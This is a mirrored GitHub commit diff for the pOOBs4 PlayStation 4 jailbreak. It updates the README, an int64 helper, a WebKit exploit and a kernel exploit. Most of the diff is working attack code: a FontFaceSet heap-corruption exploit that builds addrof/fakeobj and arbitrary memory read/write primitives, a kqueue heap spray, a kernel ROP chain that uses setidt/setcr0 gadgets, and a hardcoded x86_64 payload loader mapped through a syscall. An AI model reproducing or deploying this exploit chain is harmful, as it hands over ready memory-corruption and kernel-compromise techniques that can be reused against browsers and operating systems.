mirror of
https://github.com/ChendoChap/pOOBs4
synced 2024-12-21 05:28:48 -05:00
# Update
- Add @sleirsgoevy 's fix (https://raw.githubusercontent.com/sleirsgoevy/bad_hoist/059f22f3fe472307db3e0b0735b23c80bebe1226/exploit.js) - Comment stuff
This commit is contained in:
parent
dcc5886c89
commit
3a671a2385
10
README.md
10
README.md
@ -25,12 +25,14 @@ When running the exploit on the PS4, wait until it reaches an alert with "Insert
|
||||
|
||||
It may take a minute for the exploit to run, and the spinning animation on the page might freeze - this is fine, let it continue until an error shows or it succeeds and displays "Awaiting payload".
|
||||
|
||||
## Notes
|
||||
- You need to insert the USB when the alert pops up, then let it sit there for a bit until the ps4 storage notifications shows up.
|
||||
## Extra Notes
|
||||
- Unplug the USB before a (re)boot cycle or you'll risk corrupting the kernel heap at boot.
|
||||
- The browser might tempt you into closing the page prematurely, don't.
|
||||
- The loading circle might freeze while the webkit exploit is triggering, this means nothing.
|
||||
- The loading circle might freeze while the webkit exploit is triggering, this doesn't yet mean that the exploit failed.
|
||||
- The bug predates firmware 1.00, so 1.00-9.00 should be exploitable using the same strategy (you will need a different userland exploit & gadgets).
|
||||
- You can replace the loader with a specific payload to load stuff directly instead of doing it through sockets.
|
||||
- This bug works on certain PS5 firmwares, however there's no known strategy for exploiting it at the moment. Using this bug against the PS5 blind wouldn't be advised.
|
||||
- Please don't open issues to tell me that there are none... nor make attempts at making me do your homework for you.
|
||||
|
||||
## Contributors
|
||||
|
||||
@ -40,4 +42,4 @@ It may take a minute for the exploit to run, and the spinning animation on the p
|
||||
|
||||
## Special Thanks
|
||||
- [Andy Nguyen](https://twitter.com/theflow0)
|
||||
- [sleirsgoevy](https://twitter.com/sleirsgoevy) - [9.00 Webkit exploit](https://gist.github.com/sleirsgoevy/6beca32893909095f4bba1ce29167992)
|
||||
- [sleirsgoevy](https://twitter.com/sleirsgoevy) - [9.00 Webkit exploit](https://github.com/sleirsgoevy/bad_hoist/tree/9.00)
|
||||
|
245
int64.js
245
int64.js
@ -1,6 +1,3 @@
|
||||
// Taken from https://github.com/saelo/jscpwn/blob/master/int64.js
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
function int64(low, hi) {
|
||||
this.low = (low >>> 0);
|
||||
this.hi = (hi >>> 0);
|
||||
@ -39,27 +36,6 @@ function int64(low, hi) {
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
|
||||
this.add64 = function(val) {
|
||||
var new_lo = (((this.low >>> 0) + val.low) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
||||
new_hi++;
|
||||
}
|
||||
new_hi = (((new_hi >>> 0) + val.hi) & 0xFFFFFFFF) >>> 0;
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
this.sub64 = function(val) {
|
||||
var new_lo = (((this.low >>> 0) - val.low) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
||||
new_hi--;
|
||||
}
|
||||
new_hi = (((new_hi >>> 0) - val.hi) & 0xFFFFFFFF) >>> 0;
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
|
||||
this.sub32inplace = function (val) {
|
||||
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
@ -97,19 +73,6 @@ function int64(low, hi) {
|
||||
return hi_str + lo_str;
|
||||
}
|
||||
|
||||
this.toPacked = function () {
|
||||
return {
|
||||
hi: this.hi,
|
||||
low: this.low
|
||||
};
|
||||
}
|
||||
|
||||
this.setPacked = function (pck) {
|
||||
this.hi = pck.hi;
|
||||
this.low = pck.low;
|
||||
return this;
|
||||
}
|
||||
|
||||
return this;
|
||||
}
|
||||
|
||||
@ -122,207 +85,13 @@ function zeroFill(number, width) {
|
||||
|
||||
return number + ""; // always return a string
|
||||
}
|
||||
function Int64(low, high) {
|
||||
var bytes = new Uint8Array(8);
|
||||
|
||||
if (arguments.length > 2 || arguments.length == 0)
|
||||
throw TypeError("Incorrect number of arguments to constructor");
|
||||
if (arguments.length == 2) {
|
||||
if (typeof low != 'number' || typeof high != 'number') {
|
||||
throw TypeError("Both arguments must be numbers");
|
||||
}
|
||||
if (low > 0xffffffff || high > 0xffffffff || low < 0 || high < 0) {
|
||||
throw RangeError("Both arguments must fit inside a uint32");
|
||||
}
|
||||
low = low.toString(16);
|
||||
for (let i = 0; i < 8 - low.length; i++) {
|
||||
low = "0" + low;
|
||||
}
|
||||
low = "0x" + high.toString(16) + low;
|
||||
function zeroFill(number, width) {
|
||||
width -= number.toString().length;
|
||||
|
||||
if (width > 0) {
|
||||
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
|
||||
}
|
||||
|
||||
switch (typeof low) {
|
||||
case 'number':
|
||||
low = '0x' + Math.floor(low).toString(16);
|
||||
case 'string':
|
||||
if (low.substr(0, 2) === "0x")
|
||||
low = low.substr(2);
|
||||
if (low.length % 2 == 1)
|
||||
low = '0' + low;
|
||||
var bigEndian = unhexlify(low, 8);
|
||||
var arr = [];
|
||||
for (var i = 0; i < bigEndian.length; i++) {
|
||||
arr[i] = bigEndian[i];
|
||||
}
|
||||
bytes.set(arr.reverse());
|
||||
break;
|
||||
case 'object':
|
||||
if (low instanceof Int64) {
|
||||
bytes.set(low.bytes());
|
||||
} else {
|
||||
if (low.length != 8)
|
||||
throw TypeError("Array must have excactly 8 elements.");
|
||||
bytes.set(low);
|
||||
}
|
||||
break;
|
||||
case 'undefined':
|
||||
break;
|
||||
}
|
||||
|
||||
// Return a double whith the same underlying bit representation.
|
||||
this.asDouble = function () {
|
||||
// Check for NaN
|
||||
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
|
||||
throw new RangeError("Can not be represented by a double");
|
||||
|
||||
return Struct.unpack(Struct.float64, bytes);
|
||||
};
|
||||
|
||||
this.asInteger = function () {
|
||||
if (bytes[7] != 0 || bytes[6] > 0x20) {
|
||||
debug_log("SOMETHING BAD HAS HAPPENED!!!");
|
||||
throw new RangeError(
|
||||
"Can not be represented as a regular number");
|
||||
}
|
||||
return Struct.unpack(Struct.int64, bytes);
|
||||
};
|
||||
|
||||
// Return a javascript value with the same underlying bit representation.
|
||||
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
|
||||
// due to double conversion constraints.
|
||||
this.asJSValue = function () {
|
||||
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[
|
||||
6] == 0xff))
|
||||
throw new RangeError(
|
||||
"Can not be represented by a JSValue");
|
||||
|
||||
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
|
||||
return Struct.unpack(Struct.float64, this.sub(0x1000000000000).bytes());
|
||||
};
|
||||
|
||||
// Return the underlying bytes of this number as array.
|
||||
this.bytes = function () {
|
||||
var arr = [];
|
||||
for (var i = 0; i < bytes.length; i++) {
|
||||
arr.push(bytes[i])
|
||||
}
|
||||
return arr;
|
||||
};
|
||||
|
||||
// Return the byte at the given index.
|
||||
this.byteAt = function (i) {
|
||||
return bytes[i];
|
||||
};
|
||||
|
||||
// Return the value of this number as unsigned hex string.
|
||||
this.toString = function () {
|
||||
var arr = [];
|
||||
for (var i = 0; i < bytes.length; i++) {
|
||||
arr.push(bytes[i])
|
||||
}
|
||||
return '0x' + hexlify(arr.reverse());
|
||||
};
|
||||
|
||||
this.low32 = function () {
|
||||
return new Uint32Array(bytes.buffer)[0] >>> 0;
|
||||
};
|
||||
|
||||
this.hi32 = function () {
|
||||
return new Uint32Array(bytes.buffer)[1] >>> 0;
|
||||
};
|
||||
|
||||
this.equals = function (other) {
|
||||
if (!(other instanceof Int64)) {
|
||||
other = new Int64(other);
|
||||
}
|
||||
for (var i = 0; i < 8; i++) {
|
||||
if (bytes[i] != other.byteAt(i))
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
};
|
||||
|
||||
this.greater = function (other) {
|
||||
if (!(other instanceof Int64)) {
|
||||
other = new Int64(other);
|
||||
}
|
||||
if (this.hi32() > other.hi32())
|
||||
return true;
|
||||
else if (this.hi32() === other.hi32()) {
|
||||
if (this.low32() > other.low32())
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
};
|
||||
// Basic arithmetic.
|
||||
// These functions assign the result of the computation to their 'this' object.
|
||||
|
||||
// Decorator for Int64 instance operations. Takes care
|
||||
// of converting arguments to Int64 instances if required.
|
||||
function operation(f, nargs) {
|
||||
return function () {
|
||||
if (arguments.length != nargs)
|
||||
throw Error("Not enough arguments for function " + f.name);
|
||||
var new_args = [];
|
||||
for (var i = 0; i < arguments.length; i++) {
|
||||
if (!(arguments[i] instanceof Int64)) {
|
||||
new_args[i] = new Int64(arguments[i]);
|
||||
} else {
|
||||
new_args[i] = arguments[i];
|
||||
}
|
||||
}
|
||||
return f.apply(this, new_args);
|
||||
};
|
||||
}
|
||||
|
||||
this.neg = operation(function neg() {
|
||||
var ret = [];
|
||||
for (var i = 0; i < 8; i++)
|
||||
ret[i] = ~this.byteAt(i);
|
||||
return new Int64(ret).add(Int64.One);
|
||||
}, 0);
|
||||
|
||||
this.add = operation(function add(a) {
|
||||
var ret = [];
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = this.byteAt(i) + a.byteAt(i) + carry;
|
||||
carry = cur > 0xff | 0;
|
||||
ret[i] = cur;
|
||||
}
|
||||
return new Int64(ret);
|
||||
}, 1);
|
||||
|
||||
this.assignAdd = operation(function assignAdd(a) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = this.byteAt(i) + a.byteAt(i) + carry;
|
||||
carry = cur > 0xff | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 1);
|
||||
|
||||
|
||||
this.sub = operation(function sub(a) {
|
||||
var ret = [];
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = this.byteAt(i) - a.byteAt(i) - carry;
|
||||
carry = cur < 0 | 0;
|
||||
ret[i] = cur;
|
||||
}
|
||||
return new Int64(ret);
|
||||
}, 1);
|
||||
}
|
||||
|
||||
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
||||
Int64.fromDouble = function (d) {
|
||||
var bytes = Struct.pack(Struct.float64, d);
|
||||
return new Int64(bytes);
|
||||
};
|
||||
|
||||
// Some commonly used numbers.
|
||||
Int64.Zero = new Int64(0);
|
||||
Int64.One = new Int64(1);
|
||||
Int64.NegativeOne = new Int64(0xffffffff, 0xffffffff);
|
||||
return number + ""; // always return a string
|
||||
}
|
20
kexploit.js
20
kexploit.js
@ -86,6 +86,9 @@ var ipmi_gadgetmap = {
|
||||
|
||||
function userland() {
|
||||
|
||||
//RW -> ROP method is strongly based of:
|
||||
//https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit
|
||||
|
||||
p.launch_chain = launch_chain;
|
||||
p.malloc = malloc;
|
||||
p.malloc32 = malloc32;
|
||||
@ -259,11 +262,18 @@ function run_hax() {
|
||||
if (chain.syscall(23, 0).low != 0x0) {
|
||||
kernel();
|
||||
//this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?.
|
||||
//p.write8(0x0, 0x0); //write to 0x0 -> kill browser.
|
||||
}
|
||||
|
||||
//tries to map at 0x926200000 because there's still idk how many payloads that have it hardcoded like that. No MAP_FIXED for them though...
|
||||
var payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
|
||||
var payload_loader = p.malloc32(0x1000);
|
||||
|
||||
//NOTE: You can replace this with a payload instead of the loader.
|
||||
//You would need to create an array view of payload_buffer to do that. (var payload_writer = p.array_from_address(payload_buffer);)
|
||||
//And other ways, ....
|
||||
|
||||
//This is x86_64 asm, you can disassemble it* if you want to know what the payload loader does under the hood. (* will need to account for endianness)
|
||||
var loader_writer = payload_loader.backing;
|
||||
loader_writer[0] = 0x56415741;
|
||||
loader_writer[1] = 0x83485541;
|
||||
@ -369,6 +379,7 @@ function load_prx(name) {
|
||||
return tlsinit;
|
||||
}
|
||||
|
||||
//Obtain extra gadgets through module loading
|
||||
function extra_gadgets() {
|
||||
handle = p.malloc(0x150);
|
||||
var randomized_path_ptr = handle.add32(0x4);
|
||||
@ -396,6 +407,7 @@ function extra_gadgets() {
|
||||
}
|
||||
}
|
||||
|
||||
//Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack.
|
||||
function kchain_setup() {
|
||||
const KERNEL_setidt = 0x312c40;
|
||||
const KERNEL_setcr0 = 0x1FB949;
|
||||
@ -573,12 +585,10 @@ function object_setup() {
|
||||
}
|
||||
|
||||
var trigger_spray = function () {
|
||||
//Make socket <= 0xFF | -> alloc 0x800
|
||||
|
||||
|
||||
var NUM_KQUEUES = 0x1B0;
|
||||
var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4);
|
||||
//Make Kqueues
|
||||
//Make kqueues
|
||||
{
|
||||
for (var i = 0; i < NUM_KQUEUES; i++) {
|
||||
chain.fcall(window.syscalls[362]);
|
||||
@ -629,7 +639,9 @@ var trigger_spray = function () {
|
||||
if (chain.syscall(23, 0).low == 0) {
|
||||
return;
|
||||
}
|
||||
alert("exploit failed (kernel heap might be fucked if you *did* insert the USB");
|
||||
alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all.
|
||||
if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on.
|
||||
closing this alert will crash the browser for you.`);
|
||||
p.write8(0, 0);
|
||||
return;
|
||||
}
|
254
webkit.js
254
webkit.js
@ -2,7 +2,7 @@ var PAGE_SIZE = 16384;
|
||||
var SIZEOF_CSS_FONT_FACE = 0xb8;
|
||||
var HASHMAP_BUCKET = 208;
|
||||
var STRING_OFFSET = 20;
|
||||
var SPRAY_FONTS = 0x1000;
|
||||
var SPRAY_FONTS = 0x100a;
|
||||
var GUESS_FONT = 0x200430000;
|
||||
var NPAGES = 20;
|
||||
var INVALID_POINTER = 0;
|
||||
@ -11,12 +11,6 @@ var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time
|
||||
|
||||
function poc() {
|
||||
|
||||
function hex(n) {
|
||||
if ((typeof n) != "number")
|
||||
return "" + n;
|
||||
return "0x" + (new Number(n)).toString(16);
|
||||
}
|
||||
|
||||
var union = new ArrayBuffer(8);
|
||||
var union_b = new Uint8Array(union);
|
||||
var union_i = new Uint32Array(union);
|
||||
@ -78,6 +72,10 @@ function poc() {
|
||||
var ite = true;
|
||||
var matches = 0;
|
||||
|
||||
var round = 0;
|
||||
|
||||
window.ffses = {};
|
||||
|
||||
do {
|
||||
|
||||
var p_s = ptrToString(NPAGES + 2); // vector.size()
|
||||
@ -88,7 +86,7 @@ function poc() {
|
||||
for (var i = 0; i < 256; i++)
|
||||
mkString(HASHMAP_BUCKET, p_s);
|
||||
|
||||
var ffs = new FontFaceSet(bad_fonts);
|
||||
var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts);
|
||||
|
||||
var badstr1 = mkString(HASHMAP_BUCKET, p_s);
|
||||
|
||||
@ -96,7 +94,7 @@ function poc() {
|
||||
var guessed_addr = null;
|
||||
|
||||
for (var i = 0; i < SPRAY_FONTS; i++) {
|
||||
bad_fonts[i].family = "evil";
|
||||
bad_fonts[i].family = "search" + round;
|
||||
if (badstr1.substr(0, p_s.length) != p_s) {
|
||||
guessed_font = i;
|
||||
var p_s1 = badstr1.substr(0, p_s.length);
|
||||
@ -130,16 +128,17 @@ function poc() {
|
||||
for (var i = 0; i < 256; i++)
|
||||
mkString(HASHMAP_BUCKET, p_s);
|
||||
|
||||
var ffs2 = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
|
||||
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
|
||||
mkString(HASHMAP_BUCKET, p_s);
|
||||
|
||||
bad_fonts[guessed_font].family = "evil2";
|
||||
bad_fonts[guessed_font + 1].family = "evil3";
|
||||
|
||||
var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
|
||||
|
||||
var ffses = {};
|
||||
var needfix = [];
|
||||
for (var i = 0;; i++) {
|
||||
ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
|
||||
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
|
||||
needfix.push(mkString(HASHMAP_BUCKET, p_s));
|
||||
bad_fonts[guessed_font].family = "evil2";
|
||||
bad_fonts[guessed_font + 1].family = "evil3";
|
||||
var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
|
||||
if (leak < 0x1000000000000)
|
||||
break;
|
||||
}
|
||||
|
||||
function makeReader(read_addr, ffs_name) {
|
||||
var fake_s = '';
|
||||
@ -162,6 +161,7 @@ function poc() {
|
||||
bad_fonts[guessed_font].family = ffs_name + "_evil1";
|
||||
bad_fonts[guessed_font + 1].family = ffs_name + "_evil2";
|
||||
bad_fonts[guessed_font + 2].family = ffs_name + "_evil3";
|
||||
needfix.push(relative_read);
|
||||
if (relative_read.length < 1000) //failed
|
||||
return makeReader(read_addr, ffs_name + '_');
|
||||
return relative_read;
|
||||
@ -206,7 +206,6 @@ function poc() {
|
||||
var rd_leak = makeReader(jsvalue_leak, 'ffs4');
|
||||
var array256 = stringToPtr(rd_leak, 16); //arrays[256]
|
||||
var ui32a = stringToPtr(rd_leak, 24); //Uint32Array
|
||||
var sanity = stringToPtr(rd_leak, 32);
|
||||
|
||||
var rd_arr = makeReader(array256, 'ffs5');
|
||||
var butterfly = stringToPtr(rd_arr, 8);
|
||||
@ -254,33 +253,39 @@ function poc() {
|
||||
for (var i = 0; i < HAMMER_NSTRINGS; i++)
|
||||
mkString(HASHMAP_BUCKET, pp_s);
|
||||
|
||||
var ffs7 = new FontFaceSet(ffs7_args);
|
||||
ffses.ffs7 = new FontFaceSet(ffs7_args);
|
||||
mkString(HASHMAP_BUCKET, pp_s);
|
||||
var ffs8 = new FontFaceSet(ffs8_args);
|
||||
mkString(HASHMAP_BUCKET, fake_s);
|
||||
ffses.ffs8 = new FontFaceSet(ffs8_args);
|
||||
var post_ffs = mkString(HASHMAP_BUCKET, fake_s);
|
||||
needfix.push(post_ffs);
|
||||
|
||||
for (var i = 0; i < 13; i++)
|
||||
bad_fonts[guessed_font + i].family = "hammer" + i;
|
||||
|
||||
|
||||
window.addrof = function (obj) {
|
||||
function boot_addrof(obj) {
|
||||
arrays[257][32] = obj;
|
||||
union_f[0] = arrays[258][0];
|
||||
return new int64(union_i[0], union_i[1]);
|
||||
return union_i[1] * 0x100000000 + union_i[0];
|
||||
}
|
||||
|
||||
window.fakeobj = function (addr) {
|
||||
union_i[0] = addr.low;
|
||||
union_i[1] = addr.hi;
|
||||
function boot_fakeobj(addr) {
|
||||
union_i[0] = addr;
|
||||
union_i[1] = (addr - addr % 0x100000000) / 0x100000000;
|
||||
arrays[258][0] = union_f[0];
|
||||
return arrays[257][32];
|
||||
}
|
||||
|
||||
//craft misaligned typedarray
|
||||
|
||||
var arw_master = new Uint32Array(8);
|
||||
var arw_slave = new Uint32Array(2);
|
||||
var arw_slave = new Uint8Array(1);
|
||||
var obj_master = new Uint32Array(8);
|
||||
var obj_slave = {
|
||||
obj: null
|
||||
};
|
||||
|
||||
var addrof_slave = addrof(arw_slave);
|
||||
var addrof_slave = boot_addrof(arw_slave);
|
||||
var addrof_obj_slave = boot_addrof(obj_slave);
|
||||
union_i[0] = structureid_low;
|
||||
union_i[1] = structureid_high;
|
||||
union_b[6] = 7;
|
||||
@ -291,78 +296,163 @@ function poc() {
|
||||
size: 0x5678
|
||||
};
|
||||
|
||||
function i48_put(x, a) {
|
||||
a[4] = x | 0;
|
||||
a[5] = (x / 4294967296) | 0;
|
||||
}
|
||||
|
||||
function i48_get(a) {
|
||||
return a[4] + a[5] * 4294967296;
|
||||
}
|
||||
|
||||
window.addrof = function (x) {
|
||||
obj_slave.obj = x;
|
||||
return i48_get(obj_master);
|
||||
}
|
||||
|
||||
window.fakeobj = function (x) {
|
||||
i48_put(x, obj_master);
|
||||
return obj_slave.obj;
|
||||
}
|
||||
|
||||
function read_mem_setup(p, sz) {
|
||||
i48_put(p, arw_master);
|
||||
arw_master[6] = sz;
|
||||
}
|
||||
|
||||
window.read_mem = function (p, sz) {
|
||||
read_mem_setup(p, sz);
|
||||
var arr = [];
|
||||
for (var i = 0; i < sz; i++)
|
||||
arr.push(arw_slave[i]);
|
||||
return arr;
|
||||
};
|
||||
|
||||
window.write_mem = function (p, data) {
|
||||
read_mem_setup(p, data.length);
|
||||
for (var i = 0; i < data.length; i++)
|
||||
arw_slave[i] = data[i];
|
||||
};
|
||||
|
||||
window.read_ptr_at = function (p) {
|
||||
var ans = 0;
|
||||
var d = read_mem(p, 8);
|
||||
for (var i = 7; i >= 0; i--)
|
||||
ans = 256 * ans + d[i];
|
||||
return ans;
|
||||
};
|
||||
|
||||
window.write_ptr_at = function (p, d) {
|
||||
var arr = [];
|
||||
for (var i = 0; i < 8; i++) {
|
||||
arr.push(d & 0xff);
|
||||
d /= 256;
|
||||
}
|
||||
write_mem(p, arr);
|
||||
};
|
||||
|
||||
(function () {
|
||||
var magic = fakeobj(addrof(obj).add32(0x10));
|
||||
magic[4] = addrof_slave.low;
|
||||
magic[5] = addrof_slave.hi;
|
||||
var magic = boot_fakeobj(boot_addrof(obj) + 16);
|
||||
magic[4] = addrof_slave;
|
||||
magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000;
|
||||
obj.buffer = obj_master;
|
||||
magic[4] = addrof_obj_slave;
|
||||
magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000;
|
||||
magic = null;
|
||||
})();
|
||||
|
||||
//fix fucked objects to stabilize webkit
|
||||
|
||||
(function () {
|
||||
//fix fontfaceset (memmoved 96 bytes to low, move back)
|
||||
var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208;
|
||||
write_mem(ffs_addr, read_mem(ffs_addr - 96, 208));
|
||||
//fix strings (restore "valid") header
|
||||
for (var i = 0; i < needfix.length; i++) {
|
||||
var addr = read_ptr_at(addrof(needfix[i]) + 8);
|
||||
write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1);
|
||||
write_ptr_at(addr + 8, addr + 20);
|
||||
write_ptr_at(addr + 16, 0x80000014);
|
||||
}
|
||||
//fix array butterfly
|
||||
write_ptr_at(butterfly + 248, 0x1f0000001f);
|
||||
})();
|
||||
|
||||
//^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that.
|
||||
|
||||
//create compat stuff for kexploit.js
|
||||
var expl_master = new Uint32Array(8);
|
||||
var expl_slave = new Uint32Array(2);
|
||||
var addrof_expl_slave = addrof(expl_slave);
|
||||
var m = fakeobj(addrof(obj) + 16);
|
||||
obj.buffer = expl_master;
|
||||
m[4] = addrof_expl_slave;
|
||||
m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000;
|
||||
|
||||
var prim = {
|
||||
write8: function(addr, value) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
if(value instanceof int64) {
|
||||
arw_slave[0] = value.low;
|
||||
arw_slave[1] = value.hi;
|
||||
write8: function (addr, value) {
|
||||
expl_master[4] = addr.low;
|
||||
expl_master[5] = addr.hi;
|
||||
if (value instanceof int64) {
|
||||
expl_slave[0] = value.low;
|
||||
expl_slave[1] = value.hi;
|
||||
} else {
|
||||
arw_slave[0] = value;
|
||||
arw_slave[1] = 0;
|
||||
expl_slave[0] = value;
|
||||
expl_slave[1] = 0;
|
||||
}
|
||||
},
|
||||
write4: function(addr, value) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
if(value instanceof int64) {
|
||||
arw_slave[0] = value.low;
|
||||
write4: function (addr, value) {
|
||||
expl_master[4] = addr.low;
|
||||
expl_master[5] = addr.hi;
|
||||
if (value instanceof int64) {
|
||||
expl_slave[0] = value.low;
|
||||
} else {
|
||||
arw_slave[0] = value;
|
||||
expl_slave[0] = value;
|
||||
}
|
||||
},
|
||||
write2: function(addr, value) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
var tmp = arw_slave[0] & 0xFFFF0000;
|
||||
if(value instanceof int64) {
|
||||
arw_slave[0] = ((value.low & 0xFFFF) | tmp);
|
||||
write2: function (addr, value) {
|
||||
expl_master[4] = addr.low;
|
||||
expl_master[5] = addr.hi;
|
||||
var tmp = expl_slave[0] & 0xFFFF0000;
|
||||
if (value instanceof int64) {
|
||||
expl_slave[0] = ((value.low & 0xFFFF) | tmp);
|
||||
} else {
|
||||
arw_slave[0] = ((value & 0xFFFF) | tmp);
|
||||
expl_slave[0] = ((value & 0xFFFF) | tmp);
|
||||
}
|
||||
},
|
||||
write1: function(addr, value) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
var tmp = arw_slave[0] & 0xFFFFFF00;
|
||||
if(value instanceof int64) {
|
||||
arw_slave[0] = ((value.low & 0xFF) | tmp);
|
||||
write1: function (addr, value) {
|
||||
expl_master[4] = addr.low;
|
||||
expl_master[5] = addr.hi;
|
||||
var tmp = expl_slave[0] & 0xFFFFFF00;
|
||||
if (value instanceof int64) {
|
||||
expl_slave[0] = ((value.low & 0xFF) | tmp);
|
||||
} else {
|
||||
arw_slave[0] = ((value & 0xFF) | tmp);
|
||||
expl_slave[0] = ((value & 0xFF) | tmp);
|
||||
}
|
||||
},
|
||||
read8: function(addr) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
return new int64(arw_slave[0], arw_slave[1]);
|
||||
read8: function (addr) {
|
||||
expl_master[4] = addr.low;
|
||||
expl_master[5] = addr.hi;
|
||||
return new int64(expl_slave[0], expl_slave[1]);
|
||||
},
|
||||
read4: function(addr) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
return arw_slave[0];
|
||||
read4: function (addr) {
|
||||
expl_master[4] = addr.low;
|
||||
expl_master[5] = addr.hi;
|
||||
return expl_slave[0];
|
||||
},
|
||||
read2: function(addr) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
return arw_slave[0] & 0xFFFF;
|
||||
read2: function (addr) {
|
||||
expl_master[4] = addr.low;
|
||||
expl_master[5] = addr.hi;
|
||||
return expl_slave[0] & 0xFFFF;
|
||||
},
|
||||
read1: function(addr) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
return arw_slave[0] & 0xFF;
|
||||
read1: function (addr) {
|
||||
expl_master[4] = addr.low;
|
||||
expl_master[5] = addr.hi;
|
||||
return expl_slave[0] & 0xFF;
|
||||
},
|
||||
leakval: function(obj) {
|
||||
arrays[257][32] = obj;
|
||||
union_f[0] = arrays[258][0];
|
||||
return new int64(union_i[0], union_i[1]);
|
||||
leakval: function (obj) {
|
||||
obj_slave.obj = obj;
|
||||
return new int64(obj_master[4], obj_master[5]);
|
||||
}
|
||||
};
|
||||
window.p = prim;
|
||||
|
Loading…
Reference in New Issue
Block a user